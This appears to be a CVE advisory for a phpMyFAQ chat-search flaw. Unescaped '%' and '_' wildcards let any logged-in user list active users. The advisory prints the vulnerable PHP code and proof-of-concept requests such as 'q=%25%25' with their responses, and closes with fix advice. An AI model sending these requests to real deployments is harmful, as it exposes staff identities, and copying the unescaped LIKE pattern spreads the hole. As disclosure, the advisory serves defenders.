CVE-2026-47132
phpMyFAQ SQL LIKE Wildcard Injection
Description
### Summary An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape `%` and `_`, which remain active `LIKE` wildcards. ### Details The vulnerable endpoint is: ``` GET /api/chat/users?q=... ``` Source: ```php // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php $query = trim($request->query->get('q', '')); if (mb_strlen($query) < 2) { return $this->json([ 'success' => true, 'users' => [], ], Response::HTTP_OK); } $chat = new Chat($this->configuration); $users = $chat->searchUsers($query, $this->currentUser->getUserId()); ``` Sink: ```php // phpmyfaq/src/phpMyFAQ/Chat.php $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm)); $query = sprintf( "SELECT u.user_id, ud.display_name FROM %sfaquser u LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id WHERE u.user_id != %d AND u.user_id > 0 AND LOWER(ud.display_name) LIKE '%%%s%%' AND u.account_status = 'active' LIMIT %d", Database::getTablePrefix(), Database::getTablePrefix(), $excludeUserId, $escapedTerm, $limit, ); ``` `escape()` prevents SQL string breakout, but it does not escape SQL `LIKE` metacharacters. Therefore, attacker-controlled `%` and `_` are interpreted by the database as wildcards. The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it. ### PoC: Tested against: phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae Prerequisite: attacker has any valid authenticated user account. 1. Ensure there are multiple active users in the database, for example: ``` userId=2 displayName="Alice Finance" userId=3 displayName="Bob Support" userId=4 displayName="Carol Engineering" ``` 2. Send a normal query that should not match any user: ``` GET /api/chat/users?q=zz HTTP/1.1 Host: target Cookie: [authenticated session] ``` Observed response: ``` { "success": true, "users": [] } ``` 3. Send a wildcard query: ``` GET /api/chat/users?q=%25%25 HTTP/1.1 Host: target Cookie: [authenticated session] ``` Observed response: ``` { "success": true, "users": [ { "userId": 2, "displayName": "Alice Finance" }, { "userId": 3, "displayName": "Bob Support" }, { "userId": 4, "displayName": "Carol Engineering" } ] } ``` The same issue is reproducible with `_` wildcards: ``` GET /api/chat/users?q=__ HTTP/1.1 Host: target Cookie: [authenticated session] ``` Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while `q=%%` and `q=__` returned active users. ### Impact This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment. ### Video PoC: https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
INFO
Published Date :
Aug. 12, 2026, 3:17 p.m.
Last Modified :
Aug. 12, 2026, 3:17 p.m.
Remotely Exploit :
No
Source :
github-security-advisories
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 3.1 | MEDIUM | github |
Solution
- Update phpMyFAQ to a version with the security fix.
- Ensure LIKE wildcards are escaped in user search.
- Verify the fix prevents LIKE wildcard injection.
References to Advisories, Solutions, and Tools
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CVE-2026-47132.
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2026-47132 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2026-47132
weaknesses.
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